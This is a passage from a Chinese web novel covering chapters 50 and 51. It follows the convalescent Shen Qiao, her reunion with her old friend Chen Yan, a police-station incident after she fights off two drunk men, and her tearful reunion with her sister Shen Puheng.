老中医笑了笑,从怀里掏出一串手串,轻轻缠在了沈荞的手腕上。 “你这孩子合我眼缘,这手串是高僧诵经祈福开过光的,能保平安,送给你。” 这是沈荞第一次收到陌生人送的礼物,手串质地温润,贴在皮肤上很舒服,但她不确定自己能不能收、应不应该收,下意识就看向了宋柏。宋柏对着她轻轻点了下头,她才回过头,轻声说了一句谢谢。 老中医摆了摆手:“除了喝中药,食补也能帮着调理身体,我给你们写一份食补菜单。中药熬法讲究多,你们自己拿捏不好,我让我学生熬好,你们直接过来取就行。” 老中医说话的时候,不止沈荞和宋柏在听,何婶也一直认真旁听,听到这里连忙连声应下。 “好的好的,太麻烦您了,我们一定照做。” 就这样,沈荞开始了每天喝中药的日子。 中药苦涩又难以下咽,第一次喝的时候,她刚入口就忍不住吐了出去。站在一旁的何婶见状,立刻往她嘴里塞了一片梅片,酸酸甜甜的味道,瞬间压住了满嘴的苦涩。 沈荞皱着眉,忍着不适把整碗中药都喝了下去。何婶又给了她一片梅片,含着梅片,她轻声开口:“挺好吃的。” 何婶一边收拾药碗,一边笑着回答:“是吧,这是跟中药一起送来的,我刚才也尝了一块,确实好吃。送了好多,您当零嘴吃都够。” 何婶话音刚落,门就被人叩响。 打开门一看,门外是拎着大包小包的许莫言。 看到许莫言手里拎得满满的东西,何婶惊讶:“什么东西啊,这么多?” 许莫言:“先生让我送来的。” 何婶上前帮忙接过一些,随即压低声音问:“先生呢?” 许莫言瞥了一眼坐在客厅里的沈荞,也跟着压低声音回道:“在楼上养伤呢!” 何婶捂住嘴,笑笑:“是养脸上的伤,还是心底的伤啊?” 许莫言顿住脚步,诧异看向何婶:“何婶,你这话什么意思?” 何婶转了转眼珠,凑到许莫言耳边小声说:“沈小姐说先生丑,先生当场就冷着脸出门了。” 许莫言恍然大悟。 怪不得刚才老板的脸色那么难看。 他再看向客厅里安安静静吃着梅片的沈荞,心里依旧只有 那两个字。 孽缘! 他这位老板,从出生起就是天之骄子,大概长这么大,从来没被人动过一根手指头。可这一年,不是挨巴掌就是挨拳头。如果不是老板对外依旧手段强硬、对魏家更是半点不手软,一向信奉唯物主义的他都要怀疑老板是不是被人夺舍了。 许莫言收回思绪,把大包小包全都放到餐桌旁交给了何婶,随即转身离开。 何婶走到沙发边,对着正在吃梅子的沈荞说:“先生给你送了些东西过来,您要看看吗?” 沈荞的反应十分平淡,头都没回,淡淡说了句不用了。 何婶只好自己转身,把大包小包里的东西都拿出来。 不拿还好,全部摊开之后,连何婶都愣了一下。 糕点、干果、零食,裙子、鞋子、首饰,还有很多小姑娘会喜欢的小物件。除了吃的看不出品牌,其他东西无一例外,都是价格昂贵的大牌。 何婶跟着宋柏的时间虽然不算长,但也能明显看出来,这根本不像宋柏平时的风格。宋柏给沈荞买东西,都像是不要钱一样,成批成批送。可眼前这些,数量不算多,可每一样却都像是精心挑选过的。 何婶转头看了看坐在沙发上已经开始发困的沈荞,再看看面前堆着的东西,张了张嘴,最终还是什么都没说。 接下来的几天,何婶负责按时给沈荞送三餐和药,看着她吃完喝完,再回到楼上。至于宋柏,则一直没有再出现过。 沈荞本来也没放在心上,可时间一长,她心里也莫名有些空落落的。 在又一次吃完西药、喝完苦涩的中药后,沈荞装作不在意的样子,随口问了一句:“宋柏呢?” 何婶收碗的动作一顿,嘴角压着藏不住的笑,垂着头没看沈荞,低声回道:“沈小姐,先生这几天一直把自己关在房间里,没出过门,饭也吃得很少。” 沈荞皱起眉:“他生病了?” 何婶小声说:“先生应该是伤心了。” 沈荞不解:“伤心?” 何婶点了点头,耐心解释:“你那天说先生丑,先生那么骄傲的一个人,虽然是男人,但被人当面说丑,心里肯定也会不舒服的。” 沈荞眉头皱得更紧:“他确实丑。” 鼻青脸肿的样子,一点都不好看。 何婶一时语塞,只能继续循循善诱:“先生只是受伤了。受伤的人本来就需要关心,就像您生病的时候,先生那么紧张您一样。他受伤了,您只说他丑,先生心里肯定会很难受的。” 沈荞脸色一紧,只觉得麻烦。 “他在楼上吗?” 何婶连忙点头。 沈荞从桌边站起身,朝何婶伸出手。 “楼上的电梯卡!” 何婶二话不说,立刻从兜里掏出卡递了过去。 沈荞接过卡,往前走了两步后又停下,回头问:“你不上去吗?” 何婶连连摇头:“我收拾一下,您先上去就好。” 沈荞哦了一声,转身走向电梯,刷卡上楼。 电梯门一打开,就看到守在入户门口的保镖。保镖看到她来,立刻利落打开了大门。沈荞走进屋内,一眼就看见了站在落地窗前的男人。 一身宽松的睡衣,肩背宽厚、腿线修长,只看背影,赏心悦目。等他闻声转过身,露出正面,脸上的红肿青紫已经消退了大半,只留下几道浅浅的红痕与血痂,给他又添了几分冷硬。 沈荞站在门口没有动。 立在窗边的宋柏朝她走来,步伐大,很快便走到她面前站定。他居高临下看着她,目光沉沉。 “上来做什么?” 沈荞抬眼:“看看你。” 宋柏又往前迈了半步,距离更近了:“想我了?” 沈荞立刻否认:“没有。” 宋柏再靠近一步,精瘦的胸膛几乎要贴到她身上,声音低哑:“真的?” 沈荞下意识想后退半步,可后腰突然被温热的手掌扣住,让她退无可退。 “沈荞,如果有人想把你从我身边带走,你说我该怎么办?” 沈荞刚皱起眉,还没来得及说话,腰上一紧,就被他突打横抱了起来。 她还没反应过来,就被抱到了沙发上,直接安置在他怀里,跨坐在他的腿上。 面对面,四目相对。 沈荞心跳刚微微乱了乱,下巴就被他擒住,下一秒,温热的吻便落了下来。 和以往强势霸道、带着占有欲的吻不同,这一个吻,温柔得近乎缱绻。沈荞脑子一片空白,整个人都飘飘忽忽的,连呼吸都忘了。 吻了不知多久,沈荞渐渐喘不上气,抬手轻轻拍了拍他的肩膀。宋柏也很快松开了她,让她靠在自己的肩头慢慢顺气,手掌则轻轻拍抚着她的后背。 等沈荞喘过气,他放在她背后的手又移到了她耳边,指腹轻轻揉捏着她的耳垂。 “体力太差了,每天吃完晚饭,让何婶陪你下楼逛逛。” 沈荞没有反驳。病了半年,昏沉了半年,她现在的体力确实差得离谱。 她没有点头应他,而是慢慢抬起头,看着他的脸,一字一句认真道:“你不丑。” 宋柏愣了一下,反应过来后往后靠了靠,笑了:“沈荞,你这是在哄我吗?” 沈荞摇了摇头,眼神认真:“我没有哄你。你不丑。” 宋柏张了张嘴,想解释他说的哄不是哄骗的哄,可看着她懵懂又较真的模样,又觉得跟她掰扯这些没有意义。 她智商不低,可在情商这一块,是真的还没开窍。 宋柏漫不经心摩挲着她的后腰,一下又一下。就在沈荞皱眉开始不耐时,他又旧话重提。 “是不是想我了?” 回应宋柏的,只有沉默。 宋柏也不在意,缓缓开口:“我要出国几天,我不在,你要好好吃药,好好吃饭。” 沈荞刚想说什么,宋柏的手机突然震动起来。 他没有放下她,保持着抱她的姿势,直接接起了电话。 手机听筒的声音不大,他贴在耳边,坐在怀里的沈荞除了能隐约听出是个女人的声音。还能清清楚楚看见,他的眉眼瞬间柔了下来。 “嗯,过去接你。” “想吃什么?我让人提前备在飞机上。” 他不仅眉眼柔和,连说话的语气都格外温柔。沈荞看着、听着,心头莫名一堵。 她坐不住,直接伸手扒开他搭在她后腰的手,从他腿上下去。 拿着电话的宋柏,看着她的动作,并没有拦她。他的视线紧紧锁在她身上,看着她闷声不吭下去后,径直往大门走,这才对着电话那头缓缓道:“知道了,妈。我会安排好的。” 宋柏明明是在对电话那头的人说话,可目光却一刻没离开过沈荞。 而沈荞,在听见“妈”那个字的瞬间,身形一顿,停了几秒,才继续往门边走去。 宋柏看着她,了然笑笑,收回视线。 在大门关上的那一刻,他也挂了电话。 宋柏出发得早,沈荞还在熟睡。 睡梦中,她迷迷糊糊感觉到有人在亲她的额头、摸她的脸颊,可她困得没有力气睁开眼。真正清醒过来时,手机里只躺着一条简短的消息: 【我走了,好好吃药。】 有何婶寸步不离盯着,沈荞当然一直乖乖吃药。不知道是换了药,还是搭配中药起了作用,沈荞白天的精神好了很多,身体也不再虚浮无力。何婶见状,适时提议:“要不我陪您去楼下花园走走吧。” 已近夕阳,阳光不再刺眼,沈荞思考了片刻,点了点头。 黄昏时分,上班的人还没回来,上学的孩子刚放学,小区花园里的人并不多,何婶也特意带着沈荞走僻静的小道,一圈又一圈慢慢走,沈荞很快就出了一层薄汗,何婶看她汗涔涔的样子,便提出带她回去,沈荞却摇了摇头拒绝了。 何婶没再坚持,找了一张长椅,拉着沈荞坐下,又递过一个保温杯。 保温杯里的水温度刚好,沈荞小口喝着水,视线却被远处的一对老夫妇吸引。老爷爷推着婴儿车,老奶奶牵着一只小狗,很是和谐温馨。 何婶顺着沈荞的目光看去,等老夫妇走近,很自然笑着打了招呼。三言两语下来,老夫妇就停下脚步,跟她聊起了天。 何婶和老夫妇说话,沈荞则一直盯着婴儿车里的小宝宝看。肉嘟嘟、白嫩嫩,睁着圆溜溜的大眼睛,还会对着她笑。 看着看着,沈荞的嘴角也不自觉 露出了一抹极浅的笑意。和何婶聊天的老夫妇,也把视线落在了她身上。 老夫妇问沈荞是不是何婶的女儿,何婶没有承认也没有否认,只是含糊应了过去,不动声色转移了话题。 聊了一会儿,老夫妇要回家吃饭,便笑着道别离开了。 人走后,沈荞的视线还追随着。 何婶笑着问:“您喜欢小孩子?” 沈荞摇了摇头:“不喜欢。” 太脆弱了。 何婶一怔,沈荞已经站起身:“走吧。” 接下来的两天,不止是黄昏,何婶每天清晨也会拉着沈荞下楼。 清晨的小花园,比黄昏时候热闹得多,全是晨练的老人,快走、打拳、做操的,都有, 而沈荞的目光,一直落在一位打太极拳的老人身上。老人注意到她的视线,笑着朝她招了招手:“小姑娘,想学吗?我教你。” 沈荞抿了抿唇,摇了摇头,转身走开了。 走开后,何婶能明显感觉到,沈荞的情绪不太高,却又不知道是为什么。她想了想,试着开口转移沈荞的注意力:“要不要给先生打个电话?他这两天天天给我打电话问您的情况,您要不要也回个电话给他?” 沈荞眉眼一动,刚要点头,余光瞥见一道身影一闪而过。 那道身影躲得很快,但沈荞还是一眼就认了出来。她下意识就拔腿追了上去。 拐过僻静的小道,就是一条笔直的消防通道,闪躲的身影再也无处可藏。 沈荞站在清晨透亮的阳光里,望着几步之外的人,轻声唤道:“陈延。” 第50章 再见 出声叫人的是沈荞, 先退却的也是她。 刚才那一声是本能出口,可话落的瞬间,她就后悔了。 可一切都太迟了。 原本背对着她的人,已经缓缓转过了身。 沈荞站在建筑的阴影里, 几步之外的人立在光下。光影一隔, 一年未见。沈荞只觉得, 像是隔了一整场不真切的梦。 沈荞呆立在原地, 而几步之外的那道身影, 在转身那一刻,脚步几乎是不受控制迈开朝她走来。 沈荞下意识就想逃。 可刚迈出一步, 身后那道沙哑的声音,就直直钉住了她的脚步。 “薇薇。” 沈荞浑身一怔。 喘着气追上来的何婶恰好听见这两个字, 也猛地顿住。而那道消瘦的身影,已经走到离她一步距离的地方站定。 他又开口, 声音比刚才更哑,像是很久没有好好说过话:“薇薇。” 沈荞的后背绷得笔直,指尖深深掐进掌心。 她强迫自己缓缓回头。 在机场时, 她只是远远看了一眼, 此刻近在咫尺,她才真正看清。 他太瘦了。 瘦得几乎只剩下一副骨头架子在撑着。从前那头利落精神的短寸, 长长了不少,软塌塌贴在额角, 少了几分往日的硬朗,多了说不尽的憔悴。 看着眼前人, 沈荞喉咙发紧,心口闷得发涨。 时隔一年重逢,她开口便哽咽。 “对不起……” “陈延, 对不起。” 一直静静看着她的男人,轻轻摇头。 “别道歉。” “你什么都没做错。该说对不起的人是我,是我……没保护好你。” 一高一矮、身形悬殊的两人面对面站在深浅交错的阴影里,面容模糊。 一直不远不近跟在暗处的许莫言,眉头皱起,不动声色退到一边,拿出手机,拨通了电话。 在许莫言压低声音通话时,沈荞也终于回过神。 陈延看见她了。 他一定会告诉姐姐。 一想到这里,沈荞心脏猛地一缩。 她不想,她现在还不想见到姐姐。 她本能伸出手,一把攥住了陈延的小臂。 “别告诉姐姐。” 沈荞抬头看他,眼神里是藏不住的慌张与胆怯,“别告诉她。” 这模样,和一年前的她,判若两人。 那时的沈荞,看着温顺安静,却对世界充满好奇,眼睛永远发亮,像藏着一整片星光。 而现在,她整个人都像被一层厚厚的壳包裹住,敏感、胆怯,恨不得把自己彻底缩在龟壳里,不被人看见。 陈延低头,视线落在那只紧紧攥着自己小臂、指尖都已经用力到发白的小手上,再缓缓抬眼,哑声开口,只一个字:“好。” 一个轻飘飘的“好”字,像一颗定心丸,让沈荞瞬间松了紧绷了许久的心神。 可陈延接下来的一句话,又让她刚刚放下的心,瞬间再次绷紧。 “你姐姐很想你。” “这一年,她一直在找你。” 沈荞怔怔看着他,声音轻得几乎听不见: “姐姐……一直在找我吗?” 原来,不只是她拼了命地想找到姐姐,姐姐也在找她。 她失神的刹那,一直隐在暗处的许莫言已经大步跨了出来。 他无视落在自己身上那道锐利又带着警告的目光,径直走到沈荞面前,将还亮着屏幕的手机递到她眼前。 “沈小姐,老板的电话。” 沈荞此时根本不想接任何电话。 可许莫言就那样稳稳举着手机,神情恭敬却坚持。 沈荞缓缓松开攥着陈延手臂的手,接过手机,轻轻贴在耳边。 “喂。” 她声音还有点哑。 “许莫言说,你遇到熟人了?” “嗯。” 沈荞低声应。 “时间不早了,太阳越来越大,外面热,早点回去,别中暑。” “嗯。” “我明天一早就回来,给你带了礼物。” 沈荞依旧只是轻轻嗯了一声。 她的注意力都放在通话上,完全没有注意到,身侧的两个男人,视线早已在空中无声交锋了好几个来回。 直到电话那头挂断,沈荞才缓缓回过神。 她将手机递还给许莫言,转头看向依旧站在她面前的陈延,压下心底翻涌的情绪,尽量让自己的声音听起来平静。 “你怎么会在这里?” “我住在这。” 沈荞顺着他的目光望去,不是她那一栋,是她那栋的隔壁。 她张了张嘴,还想再问些什么,陈延已经先一步开口。 “太阳越来越大了,要不去我那坐坐?” 这句话一出,一侧的许莫言脸色明显一沉。 陈延却像完全没有看见他的反应,目光自始至终都落在沈荞身上,安静等待她的回答。 许莫言僵硬绷着脖子,将所有视线都集中在沈荞身上。他在心里祈祷,沈荞不要答应。 可下一秒,他就看见沈荞轻轻点了点头。 “好。” 点完头,沈荞转头看向还站在一旁茫然不知所措的何婶,轻声道:“何婶,你先回去吧,我一会儿就回去。” 何婶这大半天都云里雾里,完全搞不清楚状况,听见沈荞的话,也只是顺从点了点头,许莫言上前半步,刚要开口劝阻,沈荞已经看向陈延,轻声说: “走吧。” 同一个小区,隔壁楼栋,大厅装修、电梯格局,都大同小异。 沈荞跟着陈延走进电梯,下电梯,再进门,一路沉默。而一路跟随的跟随的许莫言,被拦在了门外。 站在紧闭的门外,许莫言心底翻江倒海,只想砸门。 而沈荞,在踏进不大的房子之后,反而渐渐平静了下来。她不动声色打量着四周。 房子面积不算大,比她现在住的那套小了不少,楼层低,窗外的景致也很一 般,没有开阔的视野,也没有精致的装修。 但整个屋子,都很干净。 一瞬间,无数回忆涌上心头。 在闻城的那半年。为了方便照看她,陈延退了原本租的房子,特意搬到她附近。 比起赌场老板给她安排的宽敞华丽的房子,她更多的时间,都是赖在陈延小小的出租屋里。 他的房子,永远干净整洁,永远带着一股淡淡的、让人安心的气息。反倒是她,总是毛手毛脚,时不时给他制造一地混乱。 零食袋子、喝过的水杯、随手丢的抱枕…… 可他从来不会生气,更不会责备她,只是默默跟在她身后,一点一点收拾干净。 那时候的他,身形高大,像一座沉稳的山。 每当看见如山一般的他,弯着腰安安静静做家务时,沈荞总是忍不住在偷笑,觉得他像一只笨拙的大熊。 可现在,他变成了什么样? 沈荞的目光,不受控制落在他端着水杯放到她面前的手上。 那是一双清晰见骨、瘦得吓人的手。 手背上、手腕上,满是伤疤。 有的颜色深,像是旧伤。 有的还带着淡淡的粉,显然是刚刚愈合不久。 沈荞鬼使神差伸出手,指尖刚轻轻碰到那道还带着粉色的新伤疤,大掌就像被烫到一般,猛地缩回了回去。 她抬眼。 陈延却像没事人一样,在她对面的沙发上坐下,神情平静,仿佛那些伤疤根本不存在,刚刚也没有猛然抽回手。 沈荞:“发生了什么?” 这一年,他到底经历了什么? 为什么会瘦成这样? 为什么身上会有这么多伤? 而这个问题,同样也是陈延最想问她的话。 他有太多太多的问题,可他不能问。 一个字都不能问。 因为他知道,她病了。 陈延扯了扯嘴角,先是笑笑,再摇了摇头。 “没事。” “都是小伤,早就好了。” 不算宽敞的客厅里,随后陷入一片寂静。 让人窒息的寂静。 明明一年前,他们待在同一个屋子里,哪怕什么都不做,只是各自玩手机、看书、发呆,都觉得舒服自然,有说不完的话。 可现在,面对面坐着,却只剩下沉默和疏离。 沈荞垂下眼,攥紧了自己的手。 而对面的陈延,也握紧了手中的玻璃杯。 没过几分钟,一阵轻微的手机铃声,打破了这片死寂。 陈延掏出手机,看了一眼屏幕,又不动声色瞥了一眼坐在对面的沈荞,没有立刻接起。而是站起身,拿着手机,走进卧室,轻轻关上房门,才将电话接通。 “喂。” 电话那头传来一道带着担忧的女声: “针灸的时间到了,你怎么还没来?是不是身体又不舒服了?” 陈延站在紧闭的门后,声音压得极低: “曹……沈荞看到我了。” “她现在,就在我家。” 电话那头,瞬间安静,只剩下呼吸声,在听筒里一起一伏。过了很久很久,那头才重新传来声音,带着哽咽。 “我……我能见她吗?” 陈延闭了闭眼,:“她现在……似乎还不想见到你。” 电话那头一顿,明显一声啜泣声后。 “她好不好?” 陈延再次睁开眼。 “挺好的。比起在闻城的时候,胖了一点,脸色也好多了。” “那就好……” 电话那头的人长长松了一口气。 “那就好……” 陈延没有再多说,简单两句,就挂断了电话。 他将手机揣回口袋,轻轻推开卧室门,一抬眼,顿在了原地。 客厅里空空荡荡。 刚才还坐在沙发上的那道身影,不见了。 陈延大步走到阳台,俯身往下望去。 不过片刻,那道熟悉的身影,再次出现在他的视野里。她低着头,朝隔壁楼栋的入户大厅走去。 她走了。 没有告别。 陈延站在阳台上,望着那道消失在楼栋口的身影,久久没有动。 而回到住处的沈荞,一进门,就坐在客厅发起了呆。 在厨房里煲汤的何婶,出来看见她这副模样,也不敢多问,只是悄悄擦了擦手,轻手轻脚走到大门口,打开一条门缝,看向守在门外的许莫言。 “刚才……刚才跟沈小姐说话的那个人是谁啊?” 何婶照顾沈荞一年,对她的过去几乎一无所知。她只知道,沈荞不是什么普通人家的普通女孩。 许莫言摇了摇头,脸色依旧不太好看: “我也不清楚。” 他虽然查到陈延的身份背景,但对他和沈荞之间的关系和过往,一无所知。 屋内,沈荞依旧望着窗外出神。 窗外阳光正好,车水马龙,一派热闹景象,可她的心底,却一片灰暗。 她明明拼了命地想回到姐姐身边,想重新过上在闻城那样简单、安稳的日子。 可真的回来了,真的遇见了旧人,她反而怕了,慌了,退缩了。 这一天,沈荞一言不发。从清晨一直呆坐到黄昏。黄昏夕下,她喝完何婶端来的药,就轻声开口,让何婶上楼休息。 何婶一步三回头,虽然不放心,可还是转身上了楼。 偌大的房子,再一次只剩下沈荞一个人。 空旷,安静,冷得像一座牢笼。 黑夜一点点笼罩下来,整座城市灯火辉煌。沈荞缓缓站起身,走到巨大的落地窗前,望着楼下川流不息的马路,望着璀璨灯火,心底,只有一个念头。 所有和她有关系的人,都会不幸。 生她的母亲,死了。 养她的傅英,失踪了。 陈延……成了这副模样。 姐姐……为了避祸,出国一年,连学校都去不了。 夜深露重,楼上的何婶躺在床上,辗转反侧,怎么也睡不着。心里莫名发慌。思来想去,她还是披了件衣服,轻手轻脚下了楼。 和守在门边的保镖打了个招呼,她输入密码,打开大门。 客厅里,她走之前特意打开的那盏落地灯,依旧亮着微弱温暖的光。而灯光下,一直蜷在沙发上的身影,已经不在了。 何婶放轻脚步,屏住呼吸,一步步走到主卧门口,悄无声息拧开房门。借着客厅微弱的光线,她探头往床的方向看了一眼。 光线太暗,看得并不真切。 何婶一点点往里走,只剩几步距离,她终于彻底看清。 床上,空空如也。 “沈小姐?” 她试探着叫了一声,没有人回应。 何婶瞬间慌了神,再也顾不上轻手轻脚,急忙一间间房间找过去。 主卧卫生间,没人。 客卧,没人。 厨房、书房、影音室……全都空无一人。 沈荞不见了。 何婶双腿一软,几乎要瘫倒在地,却还是强撑着,跌跌撞撞冲到门口,一把拉开大门。 门外的保镖,看见她脸色惨白,眼神涣散,整个人都在发抖,心里顿时一沉。 “怎么了?” 何婶张了张嘴,眼泪瞬间涌了上来。 “沈小姐……不见了。”《 》 50-60 第51章 重逢 深夜的城市褪去白日喧嚣, 只剩路灯在街边投下昏黄的光,陈延推开派出所大门大步跨进去,冷白刺眼的灯光下,他透过玻璃一眼就看见了小小房间里蜷缩在长椅角落的小小身影。 她蜷着腿, 赤着一双苍白纤细的脚, 脚趾不安地蜷缩着, 头发凌乱贴在脸颊与脖颈间, 遮住了大半张脸, 整个人缩成一团,可怜又脆弱。 陈延提了一路的心, 在见到人的瞬间重重落地,可随之翻涌而上的, 是压不住的怒意与心疼,两股情绪在胸腔里冲撞, 几乎要冲破理智。 但当着在场民警的面,陈延还是硬生生压下,面上维持着冷静, 声音低沉:“发生了什么?” 陈延尚能强迫自己保持冷静, 负责办案的民警脸色却难看,语气里带着明显的不耐:“她和两个醉酒的人起了争执, 路人报警后我们出警,她不仅拒不配合调查, 还动手袭警。” 陈延心一沉,目光透过玻璃看向里面的人, 压住情绪开口。 “我能进去和她说两句吗?” “叫你来就是为了这个。”民警瞥了他一眼,态度生硬,“她拒绝出 示任何证件, 问什么都不说,只记得你一个人的号码。先把她身份信息给我,你再进去。” 民警的态度格外不善,陈延起初以为是袭警一事惹恼了对方,可敏锐的直觉告诉他,事情绝不止这么简单。他眉头微蹙,沉声追问:“那两个醉酒的人呢?为什么只有她一个人在这里?” 民警没好气道:“在医院,正验伤。” 验伤? 陈延刚皱眉,民警的催促声也紧跟着响起:“她的身份信息。” 陈延抬眼:“她是外籍。” 外籍二字出口,民警原本紧绷的脸色骤然一变,眼神里多了几分忌惮。陈延没给他反应的时间,继续道:“不好意思,我需要先给律师打个电话。” 陈延出门快速拨了两通电话,再折返,看向民警时他神色稍缓:“她生着病,身体状况很差。能不能让我先陪着她,等律师到再配合流程?” 民警看了眼长椅上蜷缩不动的身影,又看了看眼前眼神凌厉的陈延,沉默片刻,最终点了头。 得到应允,陈延放轻脚步走进房间后。缓缓在长椅面前蹲下身,抬手小心翼翼拂开她埋在膝盖里的碎发,贴上她的侧脸,声音柔和:“薇薇,没事了,我来了。” 埋着头的人终于缓缓抬眼。 原本空洞失神的眼眸,在看清他的刹那,瞬间红了。下一秒,她猛地扑进他怀里,双臂紧紧搂住他的脖颈的同时,将脸深深埋进他颈间。 冰凉的泪水滑过颈侧,怀里的身躯清单薄,也冰冷。陈延身体僵了一瞬,所有怒意尽数化为心疼,他缓缓抬手,覆在她清瘦的背脊上,一下一下,极轻极慢地安抚:“没事了,我在,都过去了。” 房间里静得只剩下细碎的啜泣声,门口举着手机正开着视频通话的许莫言刚走近就下意识想转身避开,可已经迟了。 屏幕那头,他的老板,脸色已经黑了。 许莫言正暗自头疼,派出所大门外又走来两道他不想面对的身影,他举着手机迎上前:“陈总,沈医生。” 急步进门的陈青野神色还算克制,向他微微颔首示意,可他身侧的人,就没那么冷静了,眼眶通红,眼底满是焦灼。 “麻烦你转告宋总,这些日子多谢费心。我自己的妹妹,接下来我亲自照顾,不麻烦他了。” 许莫言一怔,刚要开口,说话的沈蒲蘅已擦身而过。紧随其后的陈青野刚要迈步跟上时,眼角余光瞥到许莫言的手机屏幕。他看清了视频那头的宋柏,却只当没看见,语气平淡道:“她只是心急,不是针对你们。但她的意思,也是我的意思。接下来的事,我们自己处理,不麻烦宋总了。” 说罢,陈青野也迈步擦身而过。许莫言低头看向手机,屏幕里的人脸色已经难看到了极点。 “老板……” 许莫言忐忑开口。 “把人找出来。” 许莫言迈步走出派出所时,陈青野带着沈蒲蘅正在看监控,监控画面里的地点,他们再熟悉不过,是他们小区的东门。 深夜街头空荡寂静,穿着白裙的纤细身影在小区大门外徘徊,呆呆伫立许久,一直到两个摇摇晃晃、相互搀扶的男人出现。 监控听不到声音,只能看到两人脚步虚浮,路过纤细身影时顿住脚步,先是说了几句话,然后就伸出了手,手还未触到想触的地方,就各自挨了重重一拳。 本就站不稳的身体挨了一拳直直倒地,而这只是开始。穿着白裙的纤细身影微微俯身,居高临下看着两个男人不知道对他们说了什么后,就抬脚狠狠踹向两人,最后又脱下脚上的拖鞋,把鞋底一下下拍在他们脸上,毫不手软。 视频暂停,房间里陷入死寂,连满心焦灼的沈蒲蘅都一时无言。最终,陈青野打破沉默:“她只是正当防卫。” 办案民警刚要反驳,一旁的所长已笑着上前:“陈工,视频你也看了,人进了医院,他们还坚持验伤,你看这……” 陈青野神色平淡:“我们的律师已经赶往医院,会协商处理。” 所长连连点头:“那就行。那陈工先去见见人吧。” 陈青野颔首,随即牵着沈蒲蘅转身出门。 在他们走后,办公室内,所长脸上的笑意瞬间敛去,只剩严肃。 办案民警不解起身:“所长,小刘还被她打了呢!” 所长转眸,目光沉厉:“你知道他是谁?部里特聘顾问,我们马上要发下来的巡查无人机,还有边防禁毒用的无人机都是他带着他的团队参与研发的。他只要一个电话,我的手机今天都能被打爆。” 民警一怔,还想再说,被直接打断:“把东西还回去,再好好把人送出去。” 民警茫然:“什么东西?” 所长抬眸:“她的鞋子呢?” “我们到的时候,她已经把拖鞋塞那两人嘴里了,拿出来后嫌脏,死活不肯穿。” 所长站在房间里,一时无言以对。 另一侧房间外,沈蒲蘅躲在玻璃边,偷偷往里面看,眼泪止不住地往下掉。 “陈青野,真的……真的是薇薇。” 陈青野搂着她,没有过多安抚,只淡淡道:“嗯,确实是她,也确实是你妹妹。和你一样凶悍。” 一句话止住了沈蒲蘅的啜泣,她抬眸嗔瞪他一眼,眼睫上还挂着泪珠,又转头望向房间里,看着把头埋在陈延颈侧痛哭的人,她鼻尖发酸,满心茫然无措。 “我接下来,该怎么做……” 陈青野捏了捏她的肩膀。 “不是我,是我们。” 沈蒲蘅仰头,陈青野垂眸。 四目相对,陈青野对她笑笑:“去吧。” 沈蒲蘅抹去泪水,深吸一口气,平复好翻涌的情绪,终于迈步走向房门。 刚走到门边,半蹲着拍抚着清瘦背脊的陈延便察觉到了。沈蒲蘅扯扯嘴角,露出一抹勉强却温柔的笑,陈延对她微微颔首,又轻轻拍了拍掌下的背,缓声道:“薇薇。” 沈荞从颈间抬起头,泪眼朦胧看向他。 “你姐姐来了。” 沈荞浑身一僵,非但没有回头,反而下意识试图背过身躲避。刚微微侧身,温柔的声音就在身后响起,声音很轻,却戳中她柔软的心底。 “薇薇……” 是姐姐。 本只是红了眼眶、隐忍落泪的沈荞,在听到这声轻唤的瞬间,泪如雨下。泪水一滴滴砸下,落在手背上、落在白裙上。她慌乱伸手去擦,可越擦越多,全然没注意到,与她样貌身形都极为相似的身影,已经取代陈延的位置,轻轻蹲在了她身边。 柔软的指尖抚过她的发顶,擦过她的额头,将她凌乱垂落的发丝温柔掖到耳后。温热的触感,温柔的气息,让她再也无处躲避。 沈荞缓缓转头,与温柔的眼眸直直相对。积压了太久的委屈、彷徨、思念,瞬间决堤,汹涌而出。 “姐姐……” 充满委屈与依赖的两个字刚出口,沈荞便放声大哭。不再是之前的隐忍啜泣,而是撕心裂肺、毫无保留的宣泄,似乎要把所有的不安与痛苦,全都哭了出来。 她大哭的同时,蹲在面前的沈蒲蘅,眼泪也瞬间砸落。但与沈荞的放声痛哭不同,她的哭是克制的,无声的,每一滴泪都藏着心疼与愧疚。 沈蒲蘅流着泪起身,坐到沈荞身侧,伸手将她紧紧搂入怀里,一遍一遍轻声安抚:“姐姐在,姐姐在呢。” “姐姐……” “姐姐……” “姐姐在,姐姐在呢。” 相拥在一起的姐妹俩,一个放声大哭,反复喊着姐姐;一个无声流泪,温柔安抚妹妹。暖黄的灯光落在两人身上,将所有的委屈与思念,都发泄在泪水里。 站在门边目睹这一切的 两个男人,心头也泛起酸涩。陈青野别开头,轻轻拉上门,把空间留给久别重逢的姐妹俩。 “接下来怎么办?” 陈延开口。 陈青野:“带她回家,然后和宋柏谈一谈。” 陈延:“我跟你一起。” 陈青野摇头:“只是聊聊。这几天她连我房门都不让进,要是再带上你,我怕是连家门都进不去了。” 陈延沉默,陈青野拍了拍他的肩:“先好好养伤。” “那两个人?” 陈青野眸色微冷:“李南秋已经去医院了,他会好好处理。” 话音刚落,陈青野的手机响起。他瞥了一眼屏幕,接起后一言不发听着对面说话,最后轻轻嗯了一声,挂断电话看向陈延:“李南秋到医院了,人不在医院,被人带走了。” 陈延蹙眉:“谁?” 陈青野望向玻璃后哭得泣不成声的沈荞,语气平淡:“应该是宋柏的人。” * 深夜,高大的越野车稳稳停在小区地面停车场,引擎熄灭,四周恢复寂静。高大的身影从驾驶座下车,快步走到后座,打开车门,稳稳抱出已经陷入沉睡的人。 随后,另一道身影跟着从后座而下,昏黄的路灯映在她红肿且满是关切的眼上。 “轻点抱,等等,把这件衣服给她披上,风这么大,一会冻到了。” 高大身影无奈顿住脚步:“现在八月底,今天气温三十度。” “已经入秋了,再热也是秋风。” “……” “好了,别说话了,一会把她吵醒了。” 两人轻手轻脚穿过小区,迈上楼道,推开门,映入眼帘的是装修老旧却尽显温馨的空间,还有一只疯狂摇着尾巴热烈欢快他们的小狗。 “嘘……” 沈蒲蘅轻手轻脚抱起小狗,陈青野则抱着怀里人走向阳台旁的卧室,将人轻柔放在床上,盖好薄被。再回头时,他看见站在门边的人又在偷偷掉泪。 他走近,伸手抬起她的脸,用粗粝的指腹,轻轻抹去她眼角的泪,声音温柔:“怎么又哭了?” 沈蒲蘅仰头看他,声音哽咽,带着失而复得的欢喜:“陈青野,我有妹妹了。” 陈青野伸手将她拥入怀中,轻轻拍着她的背,低声应和:“嗯,你有妹妹了。” 墙上的时钟走过凌晨三点,夜色深沉。已经冷静下来的沈蒲蘅坐在沙发上,轻抚着怀里温顺的小狗,看向身边的陈青野,轻声问道:“宋康什么时候回国?” 